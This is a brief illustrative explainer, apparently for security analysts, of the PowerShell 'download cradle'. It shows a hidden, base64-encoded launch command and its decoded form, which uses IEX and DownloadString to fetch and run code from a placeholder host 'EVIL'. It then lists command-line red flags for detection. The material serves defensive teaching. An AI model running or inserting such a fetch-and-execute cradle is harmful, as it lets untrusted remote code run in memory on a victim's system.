PowerShell Download Cradle (Illustrative)

A classic pattern — fetch and run a payload entirely in memory:

# Encoded on the command line so the real script is hidden:
powershell.exe -nop -w hidden -enc SQBFAF...   # base64 UTF-16

# Decoded, it is often a "download cradle":
IEX (New-Object Net.WebClient).DownloadString('http://EVIL/x')
#  IEX = Invoke-Expression: run the downloaded text as code
#  nothing malicious is written to disk

• Analyst response: base64-decode the -enc blob (it is UTF-16LE), read the real script, extract the URL / IOC.
• Red flags on a command line: -enc, -nop, -w hidden, IEX, DownloadString, FromBase64String.